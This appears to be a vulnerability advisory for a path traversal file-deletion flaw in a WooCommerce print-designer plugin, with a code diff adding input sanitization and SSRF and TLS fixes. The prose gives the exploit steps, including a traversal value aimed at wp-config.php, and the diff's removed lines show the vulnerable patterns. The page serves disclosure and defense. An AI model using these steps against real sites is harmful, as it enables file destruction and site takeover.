Published : July 2, 2026

CVE-2026-9725: Printcart Web to Print Product Designer for WooCommerce <= 2.5.2 Unauthenticated Arbitrary File Deletion PoC, Patch Analysis & Rule

CVE ID CVE-2026-9725
Severity Critical (CVSS 9.1)
CWE 22
Vulnerable Version 2.5.2
Patched Version 2.5.3
Disclosed July 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-9725:
This is an unauthenticated arbitrary file deletion vulnerability in the Printcart Web to Print Product Designer for WooCommerce plugin (versions up to and including 2.5.2). The vulnerability resides in the AJAX action `nbd_save_customer_design` handled by the `store_design_data()` method in class.nbdesigner.php. It carries a CVSS score of 9.1 (Critical) due to the potential for complete file system compromise leading to remote code execution.

The root cause is insufficient path validation in the `store_design_data()` function (class.nbdesigner.php, lines ~3246-3273). The function accepts the `nbd_item_key` parameter from the `$_POST` request, sanitized only with `sanitize_text_field()`. This WordPress function does not strip path traversal sequences like `../`. The unsanitized key is then concatenated with the constant `NBDESIGNER_CUSTOMER_DIR` and passed directly to `Nbdesigner_IO::delete_folder()` and PHP’s `rename()` function. Furthermore, the AJAX nonce (`nbd_save_customer_design`) is freely obtainable by unauthenticated attackers via the `nbd_check_use_logged_in` endpoint, which returns the nonce without authentication.

An unauthenticated attacker can exploit this by first fetching the AJAX nonce from the `nbd_check_use_logged_in` endpoint. Then, they send a POST request to `/wp-admin/admin-ajax.php` with `action=nbd_save_customer_design`, the obtained nonce, and a crafted `nbd_item_key` parameter containing path traversal sequences (e.g., `../../../wp-config.php`). The `store_design_data()` function will then attempt to delete or rename files outside the intended `NBDESIGNER_CUSTOMER_DIR` directory, allowing the attacker to delete arbitrary files on the server.

The patch introduces a new helper function `nbd_sanitize_item_key()` (class-helper.php, lines ~105-128). This function applies `basename()` to strip directory components, then validates the result against a strict whitelist regex (`/^[A-Za-z0-9_-]{1,128}$/`). This completely eliminates the path traversal vector. The patch also adds nonce validation and capability checks (`current_user_can(‘manage_woocommerce’)`) in related endpoints. Before the patch, the code used `sanitize_text_field()` which allowed `../`; after the patch, any key containing characters outside the whitelist results in an empty string, causing the file operations to fail safely.

Successful exploitation allows an unauthenticated attacker to delete arbitrary files on the WordPress server. This is a critical impact because deleting key files such as `wp-config.php` forces the site into a setup state, or deleting the plugin’s main file can deactivate the plugin. More critically, deleting `.htaccess` or `index.php` files can expose directory listings, and deleting uploaded malicious files can be used to clean up forensic evidence. In combination with other vulnerabilities or by deleting essential PHP files, this can lead to complete remote code execution and site takeover.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/printcart-integration/includes/class-compatibility.php
+++ b/printcart-integration/includes/class-compatibility.php
@@ -239,8 +239,8 @@
     public function download_dokan_product_designs(){
         $order_id       = absint( $_GET['order_id'] );
         $order_item_id  = absint( $_GET['order_item_id'] );
-        $nbd_item_key   = isset($_GET['nbd_item_key']) ? wc_clean( $_GET['nbd_item_key'] ) : '';
-        $nbu_item_key   = isset($_GET['nbu_item_key']) ? wc_clean( $_GET['nbu_item_key'] ) : '';
+        $nbd_item_key   = isset($_GET['nbd_item_key']) ? nbd_sanitize_item_key( $_GET['nbd_item_key'] ) : '';
+        $nbu_item_key   = isset($_GET['nbu_item_key']) ? nbd_sanitize_item_key( $_GET['nbu_item_key'] ) : '';
         $type           = isset($_GET['type']) ? wc_clean( $_GET['type'] ) : 'png';
         /*todo check permission */
         nbd_download_product_designs( $order_id, $order_item_id, $nbd_item_key, $nbu_item_key, $type  );
--- a/printcart-integration/includes/class-helper.php
+++ b/printcart-integration/includes/class-helper.php
@@ -77,9 +77,82 @@
                     AND a.option_name NOT LIKE %s
                     AND b.option_name = CONCAT( '_site_transient_timeout_nbd_', SUBSTRING( a.option_name, 21 ) )
                     AND b.option_value < %d";
-            $rows2 = $wpdb->query( $wpdb->prepare( $sql, $wpdb->esc_like( '_site_transient_nbd_' ) . '%', $wpdb->esc_like( '_site_transient_timeout_nbd_' ) . '%', time() ) );
+            $rows2 = $wpdb->query( $wpdb->prepare( $sql, $wpdb->esc_like( '_site_transient_nbd_' ) . '%', $wpdb->esc_like( '_site_transient_timeout_nbd_' ) . '%', time() ) );
             echo json_encode($result);
             wp_die();
         }
     }
+}
+
+if ( ! function_exists( 'nbd_validate_remote_url' ) ) {
+    /**
+     * Validate a user-supplied URL before fetching it server-side.
+     *
+     * Rejects:
+     *  - non-http(s) schemes (file://, php://, ftp://, expect://, gopher://, ...)
+     *  - hosts that fail wp_http_validate_url() (loopback / private ranges)
+     *  - link-local 169.254.0.0/16 (AWS / GCE / Azure instance metadata)
+     *  - IPv6 link-local fe80::/10 and unique-local fc00::/7
+     *
+     * Returns the sanitized URL on success, or '' if the URL is unsafe to fetch.
+     * Callers MUST treat '' as a rejection and respond accordingly (e.g. wp_send_json
+     * with a failure flag) before passing the value to any HTTP client.
+     *
+     * @since 2.5.4
+     * @param mixed $raw Raw value from $_GET / $_POST / $_REQUEST.
+     * @return string Sanitized http(s) URL, or '' if invalid / unsafe.
+     */
+    function nbd_validate_remote_url( $raw ) {
+        if ( ! is_scalar( $raw ) ) {
+            return '';
+        }
+        $url = esc_url_raw( wp_unslash( (string) $raw ) );
+        if ( '' === $url ) {
+            return '';
+        }
+        $scheme = strtolower( (string) wp_parse_url( $url, PHP_URL_SCHEME ) );
+        if ( ! in_array( $scheme, array( 'http', 'https' ), true ) ) {
+            return '';
+        }
+        if ( ! wp_http_validate_url( $url ) ) {
+            return '';
+        }
+        $host = trim( (string) wp_parse_url( $url, PHP_URL_HOST ), '[]' );
+        if ( filter_var( $host, FILTER_VALIDATE_IP ) ) {
+            if ( 0 === strpos( $host, '169.254.' )
+                || 0 === stripos( $host, 'fe80:' )
+                || 0 === stripos( $host, 'fc' )
+                || 0 === stripos( $host, 'fd' ) ) {
+                return '';
+            }
+        }
+        return $url;
+    }
+}
+
+if ( ! function_exists( 'nbd_sanitize_item_key' ) ) {
+    /**
+     * Sanitize a customer-design item key (folder name under NBDESIGNER_CUSTOMER_DIR)
+     * received from request input ($_GET/$_POST).
+     *
+     * Generated keys follow the pattern substr(md5(uniqid()),0,5) . rand() . time()
+     * with optional 's' / 'r' suffix, so the whitelist below covers all legitimate
+     * values while rejecting path traversal sequences, NULL bytes, and any
+     * character that could break out of the designs directory.
+     *
+     * @since 2.5.3
+     * @param mixed $key Raw value coming from $_GET / $_POST.
+     * @return string Safe key ([A-Za-z0-9_-]{1,128}), or empty string if invalid.
+     */
+    function nbd_sanitize_item_key( $key ) {
+        if ( ! is_scalar( $key ) ) {
+            return '';
+        }
+        $key = (string) $key;
+        $key = basename( $key );
+        if ( ! preg_match( '/^[A-Za-z0-9_-]{1,128}$/', $key ) ) {
+            return '';
+        }
+        return $key;
+    }
 }
 No newline at end of file
--- a/printcart-integration/includes/class-import-export-product.php
+++ b/printcart-integration/includes/class-import-export-product.php
@@ -25,10 +25,16 @@
             }
         }
         public function nbd_export_product(){
+            // Export writes product metadata + serialized templates to a public
+            // file under wp-content/uploads/nbdesigner/export/<pid>/ and rewrites
+            // data/demo_datas.json. Restrict to users who can manage the shop.
+            if ( ! current_user_can( 'manage_woocommerce' ) ) {
+                wp_send_json( array( 'flag' => 0, 'mes' => esc_html__( 'You do not have permission to perform this action.', 'web-to-print-online-designer' ) ) );
+            }
             $result     = array(
                 'flag'  => 1
             );
-            $product_id             = wc_clean( $_POST['product_id'] );
+            $product_id             = absint( $_POST['product_id'] );
             $product                = wc_get_product( $product_id) ;

             $enable_design          = get_post_meta( $product_id, '_nbdesigner_enable', true );
@@ -259,6 +265,12 @@
             return $image_url;
         }
         public function nbd_import_product(){
+            // Import calls add_product() (creates a published WC_Product),
+            // fetches remote demo settings via nbd_file_get_contents(), and
+            // writes status files server-side. Restrict to shop managers.
+            if ( ! current_user_can( 'manage_woocommerce' ) ) {
+                wp_send_json( array( 'flag' => 0, 'error_mgs' => esc_html__( 'You do not have permission to perform this action.', 'web-to-print-online-designer' ) ) );
+            }
             $result     = array(
                 'flag'          => 1,
                 'total_steps'   => 1,
--- a/printcart-integration/includes/class-util.php
+++ b/printcart-integration/includes/class-util.php
@@ -994,36 +994,35 @@
     );
 }
 function nbd_file_get_contents( $url ){
+    // Prefer the WP HTTP API (respects WP's CA bundle and the http_request_args
+    // filter chain). It already verifies TLS by default.
     $response = wp_remote_get( $url );
     if ( is_array( $response ) && ! is_wp_error( $response ) ) {
-        $result   = trim($response['body']);
-        return $result;
+        return trim( wp_remote_retrieve_body( $response ) );
     }
-    if( ini_get( 'allow_url_fopen' ) ){
-        $checkPHP = version_compare( PHP_VERSION, '5.6.0', '>=' );
-        if ( is_ssl() && $checkPHP ) {
-            $result = file_get_contents( $url, false, stream_context_create( array('ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false ) ) ) );
-        }else{
-            $result = file_get_contents( $url );
+    // file_get_contents() over https now uses the system trust store with
+    // verify_peer left at its (secure) default. The previous code disabled
+    // both verify_peer and verify_peer_name, downgrading TLS to opportunistic
+    // encryption — keep TLS verified.
+    if ( ini_get( 'allow_url_fopen' ) ) {
+        $result = @file_get_contents( $url );
+        if ( false !== $result ) {
+            return $result;
         }
-    }else{
+    }
+    if ( function_exists( 'curl_init' ) ) {
         $ch = curl_init();
-        curl_setopt( $ch, CURLOPT_SSLVERSION, 3 );
-        curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, 0 );
-        curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, 2 );
         curl_setopt( $ch, CURLOPT_URL, $url );
         curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
+        // Verify the peer certificate and hostname — flipping these off was a
+        // MITM hazard for every caller of this helper, including the importer.
+        curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, 1 );
+        curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, 2 );
         $result = curl_exec( $ch );
         curl_close( $ch );
-        if( false === $result ){
-            $ch     = curl_init();
-            curl_setopt( $ch, CURLOPT_URL, $url );
-            curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
-            $result = curl_exec( $ch );
-            curl_close( $ch );
-        }
+        return $result;
     }
-    return $result;
+    return false;
 }
 function hex_code_to_rgb( $code ){
     list( $r, $g, $b )  = sscanf( $code, "#%02x%02x%02x" );
@@ -3906,7 +3905,7 @@
             $redirect_url       = add_query_arg(array('pid' => $product_id, 'view' => 'templates'), admin_url('admin.php?page=nbdesigner_manager_product'));
             break;
         case 'admin_order':
-            $arr                = array('nbd_item_key' => wc_clean( $_GET['nbd_item_key'] ), 'order_id' => absint( $_GET['order_id'] ), 'product_id'  => absint( $_GET['product_id'] ), 'variation_id'  => absint( $_GET['variation_id'] ));
+            $arr                = array('nbd_item_key' => nbd_sanitize_item_key( isset( $_GET['nbd_item_key'] ) ? $_GET['nbd_item_key'] : '' ), 'order_id' => absint( $_GET['order_id'] ), 'product_id'  => absint( $_GET['product_id'] ), 'variation_id'  => absint( $_GET['variation_id'] ));
             $redirect_url       = add_query_arg($arr, admin_url('admin.php?page=nbdesigner_detail_order'));
             break;
         case 'my_design':
@@ -4004,8 +4003,10 @@
     if ( function_exists( 'curl_init' ) ) {
         $ch = curl_init();
         curl_setopt( $ch, CURLOPT_URL, 'https://ifconfig.co/ip' );
-        curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, 0 );
-        curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, 0 );
+        // TLS verification re-enabled — previously both checks were disabled,
+        // which made the server-ip lookup spoofable on a hostile network.
+        curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, 2 );
+        curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, 1 );
         curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
         curl_setopt( $ch, CURLOPT_TIMEOUT, 10 );
         $data = curl_exec( $ch );
--- a/printcart-integration/includes/class.advanced.upload.php
+++ b/printcart-integration/includes/class.advanced.upload.php
@@ -148,8 +148,11 @@
             $nbd_item_cart_key      = ($variation_id > 0) ? $product_id . '_' . $variation_id : $product_id;
             $task                   = wc_clean( $_POST['task'] );
             if(isset($_POST['nbu_item_key']) && $_POST['nbu_item_key'] != ''){
-                $nbu_item_key = wc_clean( $_POST['nbu_item_key'] );
-            }else {
+                $nbu_item_key = nbd_sanitize_item_key( $_POST['nbu_item_key'] );
+                if ( '' === $nbu_item_key ) {
+                    wp_send_json( array( 'flag' => 0, 'mes' => esc_html__( 'Invalid upload key', 'web-to-print-online-designer' ) ) );
+                }
+            }else {
                 $nbu_item_session = WC()->session->get('nbu_item_key_'.$nbd_item_cart_key);
                 $nbu_item_key = isset($nbu_item_session) ? $nbu_item_session : substr(md5(uniqid()),0,5).rand(1,100).time();
             }
@@ -514,7 +517,10 @@
             die('Security error');
         }
         $files          = wc_clean( $_POST['nbd_file'] );
-        $nbu_item_key   = wc_clean( $_POST['nbu_item_key'] );
+        $nbu_item_key   = nbd_sanitize_item_key( isset( $_POST['nbu_item_key'] ) ? $_POST['nbu_item_key'] : '' );
+        if ( '' === $nbu_item_key ) {
+            wp_send_json( array( 'flag' => 0, 'mes' => esc_html__( 'Invalid upload key', 'web-to-print-online-designer' ) ) );
+        }
         $this->update_files_upload( $files, $nbu_item_key );
         $this->nbu_update_upload_files();
         echo 'success';
--- a/printcart-integration/includes/class.nbdesigner.php
+++ b/printcart-integration/includes/class.nbdesigner.php
@@ -2272,8 +2272,11 @@
                 $type = sanitize_text_field($_GET['download-type']);
                 $product_id = absint($_GET['product_id']);
                 $variation_id = absint($_GET['variation_id']);
-                $nbd_item_key = sanitize_text_field($_GET['nbd_item_key']);
-                $path = NBDESIGNER_CUSTOMER_DIR . '/' . sanitize_text_field($_GET['nbd_item_key']);
+                $nbd_item_key = nbd_sanitize_item_key( isset( $_GET['nbd_item_key'] ) ? $_GET['nbd_item_key'] : '' );
+                if ( '' === $nbd_item_key ) {
+                    wp_die( esc_html__( 'Invalid design key', 'web-to-print-online-designer' ), '', array( 'response' => 400 ) );
+                }
+                $path = NBDESIGNER_CUSTOMER_DIR . '/' . $nbd_item_key;
                 if ($type != 'png' && $type != 'svg' && $type != 'ibg' && $type != 'png-hires' && $type != 'jpg-hires' && $type != 'pdf')
                     $path = $path . '/' . $type;
                 if ($type == 'ibg' || $type == 'png-hires' || $type == 'jpg-hires' || $type == 'pdf') {
@@ -2331,8 +2334,8 @@
                     wp_safe_redirect($url);
                     exit();
                 }
-                $pathZip = NBDESIGNER_DATA_DIR . '/download/customer-design-' . sanitize_text_field($_GET['nbd_item_key']) . '-' . $type . '.zip';
-                $nameZip = 'customer-design-' . sanitize_text_field($_GET['nbd_item_key']) . '-' . $type . '.zip';
+                $pathZip = NBDESIGNER_DATA_DIR . '/download/customer-design-' . $nbd_item_key . '-' . $type . '.zip';
+                $nameZip = 'customer-design-' . $nbd_item_key . '-' . $type . '.zip';
                 nbd_zip_files_and_download($zip_files, $pathZip, $nameZip);
                 exit();
             }
@@ -2371,7 +2374,11 @@
             }
             if (isset($_GET['nbd_item_key'])) {
                 $license = $this->nbdesigner_check_license();
-                $path = NBDESIGNER_CUSTOMER_DIR . '/' . sanitize_text_field($_GET['nbd_item_key']);
+                $nbd_item_key = nbd_sanitize_item_key( $_GET['nbd_item_key'] );
+                if ( '' === $nbd_item_key ) {
+                    wp_die( esc_html__( 'Invalid design key', 'web-to-print-online-designer' ), '', array( 'response' => 400 ) );
+                }
+                $path = NBDESIGNER_CUSTOMER_DIR . '/' . $nbd_item_key;
                 $list_images = Nbdesigner_IO::get_list_images($path, 1);
                 $_list_pdfs = file_exists($path . '/pdfs') ? Nbdesigner_IO::get_list_files($path . '/pdfs', 2) : array();
                 $list_design = array();
@@ -3246,6 +3253,11 @@
     }
     private function store_design_data($nbd_item_key, $data, $product_config, $product_option, $product_upload)
     {
+        // Defensive: never touch the filesystem with an untrusted key, even if the caller forgot to sanitize.
+        $nbd_item_key = nbd_sanitize_item_key( $nbd_item_key );
+        if ( '' === $nbd_item_key ) {
+            return false;
+        }
         $path = NBDESIGNER_CUSTOMER_DIR . '/' . $nbd_item_key;
         if (file_exists($path . '_old'))
             Nbdesigner_IO::delete_folder($path . '_old');
@@ -3621,7 +3633,10 @@
         $product_option = get_post_meta($product_id, '_nbdesigner_option', true);
         $draft_folder = substr(md5(uniqid()), 0, 5) . rand(1, 100) . time();
         if (isset($_POST['draft_folder']) && $_POST['draft_folder'] != '') {
-            $draft_folder = wc_clean($_POST['draft_folder']);
+            $draft_folder = nbd_sanitize_item_key( $_POST['draft_folder'] );
+            if ( '' === $draft_folder ) {
+                nbd_die( array( 'flag' => 0, 'mes' => esc_html__( 'Invalid draft folder', 'web-to-print-online-designer' ) ) );
+            }
             $stored = true;
         }
         if ($variation_id > 0) {
@@ -3697,10 +3712,14 @@
         $result['product_id'] = $product_id;
         $result['variation_id'] = $variation_id;
         if (isset($_POST['nbd_item_key']) && $_POST['nbd_item_key'] != '') {
-            /* Edit design
+            /* Edit design
              * In case edit template, $design_type = 'template'
              */
-            $nbd_item_key = sanitize_text_field($_POST['nbd_item_key']);
+            $nbd_item_key = nbd_sanitize_item_key( $_POST['nbd_item_key'] );
+            if ( '' === $nbd_item_key ) {
+                $result['mes'] = esc_html__( 'Invalid design key', 'web-to-print-online-designer' );
+                nbd_die( $result );
+            }
             if (($design_type == '') && !nbd_check_cart_item_exist($cart_item_key)) {
                 $result['mes'] = esc_html__('Item not exist in cart', 'web-to-print-online-designer');
                 nbd_die($result);
@@ -4854,7 +4873,10 @@
         } else {
             if (isset($_POST['nbu_item_key']) && $_POST['nbu_item_key'] != '') {
                 /* reup */
-                $nbu_item_key = sanitize_text_field($_POST['nbu_item_key']);
+                $nbu_item_key = nbd_sanitize_item_key( $_POST['nbu_item_key'] );
+                if ( '' === $nbu_item_key ) {
+                    wp_send_json( array( 'flag' => 0, 'mes' => esc_html__( 'Invalid upload key', 'web-to-print-online-designer' ) ) );
+                }
             } else {
                 $nbu_item_session = WC()->session->get('nbu_item_key_' . $nbd_item_cart_key);
                 $nbu_item_key = isset($nbu_item_session) ? $nbu_item_session : substr(md5(uniqid()), 0, 5) . rand(1, 100) . time();
@@ -5619,7 +5641,24 @@
         if (!wp_verify_nonce($_POST['nonce'], 'save-design') && NBDESIGNER_ENABLE_NONCE) {
             die('Security error');
         }
-        $url = $_POST['url'];
+        $url = isset( $_POST['url'] ) ? esc_url_raw( wp_unslash( $_POST['url'] ) ) : '';
+        // Reject stream wrappers honoured by PHP's copy() (file://, php://, ftp://, expect://, ...)
+        // and SSRF targets such as 127.0.0.1 / 169.254.169.254 / private ranges.
+        // esc_url_raw() with the default protocol list already drops file:// etc., but we
+        // gate on the parsed scheme as well to also catch attacker variants that slip
+        // past the URL parser, and on wp_http_validate_url() to block internal hosts.
+        $scheme = is_string( $url ) ? strtolower( (string) wp_parse_url( $url, PHP_URL_SCHEME ) ) : '';
+        if ( '' === $url || ! in_array( $scheme, array( 'http', 'https' ), true ) || ! wp_http_validate_url( $url ) ) {
+            wp_send_json( array( 'flag' => 0, 'src' => '', 'mes' => esc_html__( 'Invalid image URL', 'web-to-print-online-designer' ) ) );
+        }
+        // wp_http_validate_url() misses link-local 169.254.0.0/16 (AWS / GCE / Azure
+        // instance metadata endpoint) and IPv6 link-local fe80::/10. Block them here.
+        $host = trim( (string) wp_parse_url( $url, PHP_URL_HOST ), '[]' );
+        if ( filter_var( $host, FILTER_VALIDATE_IP ) ) {
+            if ( 0 === strpos( $host, '169.254.' ) || 0 === stripos( $host, 'fe80:' ) || 0 === stripos( $host, 'fc' ) || 0 === stripos( $host, 'fd' ) ) {
+                wp_send_json( array( 'flag' => 0, 'src' => '', 'mes' => esc_html__( 'Invalid image URL', 'web-to-print-online-designer' ) ) );
+            }
+        }
         $ext = $this->nbdesigner_get_extension($url);
         if (isset($_POST['gapi']) && isset($_POST['gapi']['name'])) {
             $ext = $this->nbdesigner_get_extension($_POST['gapi']['name']);
@@ -5655,22 +5694,21 @@
                 $res['flag'] = 1;
             }
         } else {
-            if (@copy($url, $path['full_path'])) {
-                $res['flag'] = 1;
+            // Use wp_safe_remote_get() so internal/loopback hosts are rejected (SSRF guard).
+            // Replaces the previous @copy($url, ...) fallback which honoured PHP stream
+            // wrappers such as file:// and allowed arbitrary local file read.
+            $response = wp_safe_remote_get( $url, array( 'timeout' => 30 ) );
+            if ( is_wp_error( $response ) || wp_remote_retrieve_response_code( $response ) !== 200 ) {
+                echo json_encode( $res );
+                wp_die();
+            }
+            $body   = wp_remote_retrieve_body( $response );
+            $result = @file_put_contents( $path['full_path'], $body );
+            unset( $response, $body );
+            if ( $result === false ) {
+                $res['flag'] = 0;
             } else {
-                $response = wp_remote_get($url, array('timeout' => 30));
-                if (is_wp_error($response)) {
-                    echo json_encode($res);
-                    wp_die();
-                } else {
-                    $result = @file_put_contents($path['full_path'], $response['body']);
-                    unset($response['body']);
-                    if ($result === false) {
-                        $res['flag'] = 0;
-                    } else {
-                        $res['flag'] = 1;
-                    }
-                }
+                $res['flag'] = 1;
             }
         }
         do_action('nbu_upload_image_from_url', $path, $res);
@@ -5900,7 +5938,12 @@
             esc_html_e('Item not exist in cart', 'web-to-print-online-designer');
             wp_die();
         }
-        $this->update_files_upload($_POST['nbd_file'], $_POST['nbu_item_key']);
+        $upload_key = nbd_sanitize_item_key( isset( $_POST['nbu_item_key'] ) ? $_POST['nbu_item_key'] : '' );
+        if ( '' === $upload_key ) {
+            esc_html_e( 'Invalid upload key', 'web-to-print-online-designer' );
+            wp_die();
+        }
+        $this->update_files_upload( $_POST['nbd_file'], $upload_key );
         if (isset($_POST['order_id']) && $design_type == 'edit_order') {
             $order_id = absint($_POST['order_id']);
             $order = wc_get_order($order_id);
@@ -5950,7 +5993,10 @@
         $force = wc_clean($_POST['force_same_format']);
         $from_type = wc_clean($_POST['from_type']);
         $order_id = absint($_POST['order_id']);
-        $nbd_item_key = wc_clean($_POST['nbd_item_key']);
+        $nbd_item_key = nbd_sanitize_item_key( isset( $_POST['nbd_item_key'] ) ? $_POST['nbd_item_key'] : '' );
+        if ( '' === $nbd_item_key ) {
+            wp_send_json( array( 'flag' => 'failure', 'mes' => esc_html__( 'Invalid design key', 'web-to-print-online-designer' ) ) );
+        }
         $dpi = absint($_POST['dpi']);
         $img_ext = array('jpg', 'jpeg', 'png');
         $svg_ext = array('svg');
@@ -6254,7 +6300,10 @@
         }

         $order_id = absint($_POST['layout']['order_id']);
-        $nbd_item_key = wc_clean($_POST['layout']['nbd_item_key']);
+        $nbd_item_key = nbd_sanitize_item_key( isset( $_POST['layout']['nbd_item_key'] ) ? $_POST['layout']['nbd_item_key'] : '' );
+        if ( '' === $nbd_item_key ) {
+            wp_send_json( array( 'flag' => 'failure', 'mes' => esc_html__( 'Invalid design key', 'web-to-print-online-designer' ) ) );
+        }
         $paper_width = (float) wc_clean($_POST['layout']['size']['width']);
         $paper_height = (float) wc_clean($_POST['layout']['size']['height']);
         $paper_padding_top = (float) wc_clean($_POST['layout']['padding']['top']);
@@ -6367,7 +6416,17 @@
             if ($order->get_status() == 'completed')
                 $final = true;
         }
-        $nbd_item_key = $nbd_item_key == '' ? wc_clean($_POST['nbd_item_key']) : $nbd_item_key;
+        if ( $nbd_item_key == '' ) {
+            $nbd_item_key = nbd_sanitize_item_key( isset( $_POST['nbd_item_key'] ) ? $_POST['nbd_item_key'] : '' );
+        } else {
+            $nbd_item_key = nbd_sanitize_item_key( $nbd_item_key );
+        }
+        if ( '' === $nbd_item_key ) {
+            if ( $return ) {
+                return array();
+            }
+            wp_send_json( array( 'flag' => 'failure', 'mes' => esc_html__( 'Invalid design key', 'web-to-print-online-designer' ) ) );
+        }
         $enable_watermark = nbdesigner_get_option('nbdesigner_enable_pdf_watermark', 'yes');

         $folder = NBDESIGNER_CUSTOMER_DIR . '/' . $nbd_item_key . '/customer-pdfs';
@@ -6735,7 +6794,7 @@
                 'flag' => 0
             )
         );
-        $nbd_item_key = wc_clean($_POST['nbd_item_key']);
+        $nbd_item_key = nbd_sanitize_item_key( isset( $_POST['nbd_item_key'] ) ? $_POST['nbd_item_key'] : '' );
         if ($nbd_item_key == '') {
             echo json_encode($result);
             wp_die();
@@ -6763,7 +6822,10 @@
         if (!wp_verify_nonce($_POST['nonce'], 'save-design') && NBDESIGNER_ENABLE_NONCE) {
             die('Security error');
         }
-        $nbd_item_key = wc_clean($_POST['nbd_item_key']);
+        $nbd_item_key = nbd_sanitize_item_key( isset( $_POST['nbd_item_key'] ) ? $_POST['nbd_item_key'] : '' );
+        if ( '' === $nbd_item_key ) {
+            wp_send_json( array( 'flag' => 0, 'mes' => esc_html__( 'Invalid design key', 'web-to-print-online-designer' ) ) );
+        }
         $folder = NBDESIGNER_CUSTOMER_DIR . '/' . $nbd_item_key . '/pdfs';
         $result = array(
             'flag' => 1
@@ -7247,8 +7309,8 @@
     {
         $order_id = absint($_GET['order_id']);
         $order_item_id = absint($_GET['order_item_id']);
-        $nbd_item_key = isset($_GET['nbd_item_key']) ? wc_clean($_GET['nbd_item_key']) : '';
-        $nbu_item_key = isset($_GET['nbu_item_key']) ? wc_clean($_GET['nbu_item_key']) : '';
+        $nbd_item_key = isset($_GET['nbd_item_key']) ? nbd_sanitize_item_key( $_GET['nbd_item_key'] ) : '';
+        $nbu_item_key = isset($_GET['nbu_item_key']) ? nbd_sanitize_item_key( $_GET['nbu_item_key'] ) : '';
         $type = isset($_GET['type']) ? wc_clean($_GET['type']) : 'png';
         $force = (isset($_GET['multi_file']) && wc_clean($_GET['multi_file']) == 'no') ? true : false;
         $showBleed = (isset($_GET['bleed']) && wc_clean($_GET['bleed']) == 'yes') ? 'yes' : 'no';
@@ -7285,7 +7347,18 @@
         $startY = wc_clean($_POST['startY']);
         $width = wc_clean($_POST['width']);
         $height = wc_clean($_POST['height']);
-        $crop_dir = (isset($_POST['crop_dir']) && $_POST['crop_dir'] != '') ? wc_clean($_POST['crop_dir']) : '';
+        // $crop_dir is appended to a filesystem path and passed to wp_mkdir_p().
+        // wc_clean() does not strip "..", so the previous code allowed an attacker
+        // to create / write into arbitrary directories. Restrict to a leaf folder
+        // name (alphanumeric + dash/underscore) and reject anything else.
+        $crop_dir_raw = ( isset( $_POST['crop_dir'] ) && $_POST['crop_dir'] != '' ) ? wp_unslash( $_POST['crop_dir'] ) : '';
+        $crop_dir     = '';
+        if ( '' !== $crop_dir_raw ) {
+            $candidate = basename( (string) $crop_dir_raw );
+            if ( preg_match( '/^[A-Za-z0-9_-]{1,64}$/', $candidate ) ) {
+                $crop_dir = '/' . $candidate;
+            }
+        }
         $path = Nbdesigner_IO::convert_url_to_path($url);
         $path_parts = pathinfo($path);
         if ($crop_dir == '') {
@@ -7436,18 +7509,30 @@
             'images' => array()
         );

-        foreach ($_POST['images'] as $key => $image) {
-            if (filter_var($image, FILTER_VALIDATE_URL)) {
-                $ext = pathinfo($image, PATHINFO_EXTENSION);
-                $new_name = strtotime("now") . substr(md5(rand(1111, 9999)), 0, 8) . '.' . $ext;
-                $path = Nbdesigner_IO::create_file_path(NBDESIGNER_TEMP_DIR, $new_name);
-                $res = nbd_download_remote_file($image, $path['full_path']);
-                if ($res) {
-                    $result['images'][$key] = NBDESIGNER_TEMP_URL . $path['date_path'];
-                } else {
-                    $result['flag'] = 0;
-                    break;
-                }
+        // filter_var(URL) alone accepts file://, ftp://, gopher://, ... and any
+        // internal host. Route every URL through nbd_validate_remote_url() which
+        // gates scheme + private/link-local hosts before nbd_download_remote_file
+        // (which uses raw curl_exec) ever sees it.
+        $images_in = isset( $_POST['images'] ) && is_array( $_POST['images'] ) ? $_POST['images'] : array();
+        foreach ( $images_in as $key => $image ) {
+            $image = nbd_validate_remote_url( $image );
+            if ( '' === $image ) {
+                continue;
+            }
+            $ext = pathinfo( $image, PATHINFO_EXTENSION );
+            // Whitelist image extensions only — prevents writing arbitrary file types.
+            $allow_ext = array( 'jpg', 'jpeg', 'png', 'gif', 'svg', 'webp' );
+            if ( ! in_array( strtolower( $ext ), $allow_ext, true ) ) {
+                $ext = 'png';
+            }
+            $new_name = strtotime( "now" ) . substr( md5( rand( 1111, 9999 ) ), 0, 8 ) . '.' . $ext;
+            $path = Nbdesigner_IO::create_file_path( NBDESIGNER_TEMP_DIR, $new_name );
+            $res = nbd_download_remote_file( $image, $path['full_path'] );
+            if ( $res ) {
+                $result['images'][ $key ] = NBDESIGNER_TEMP_URL . $path['date_path'];
+            } else {
+                $result['flag'] = 0;
+                break;
             }
         }

@@ -7510,14 +7595,19 @@
         if (!wp_verify_nonce($_REQUEST['nonce'], 'save-design') && NBDESIGNER_ENABLE_NONCE) {
             die('Security error');
         }
-        $url = wc_clean($_POST['src']);
-        $curl = curl_init($url);
-        $url  =  $_REQUEST['src'];
-        curl_setopt($curl, CURLOPT_URL, $url);
-        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
-        $resp = curl_exec($curl);
-        curl_close($curl);
-        echo $resp;
+        // Validate $_REQUEST['src'] before fetching: only http(s), no stream wrappers,
+        // and no loopback / private / link-local hosts. The previous implementation
+        // ran curl_exec() directly on the raw value and echoed the response body,
+        // which allowed unauthenticated arbitrary URL read + SSRF.
+        $url = nbd_validate_remote_url( isset( $_REQUEST['src'] ) ? $_REQUEST['src'] : '' );
+        if ( '' === $url ) {
+            wp_send_json( array( 'flag' => 0, 'mes' => esc_html__( 'Invalid URL', 'web-to-print-online-designer' ) ) );
+        }
+        $response = wp_safe_remote_get( $url, array( 'timeout' => 30 ) );
+        if ( is_wp_error( $response ) || wp_remote_retrieve_response_code( $response ) !== 200 ) {
+            wp_send_json( array( 'flag' => 0 ) );
+        }
+        echo wp_remote_retrieve_body( $response );
         wp_die();
     }
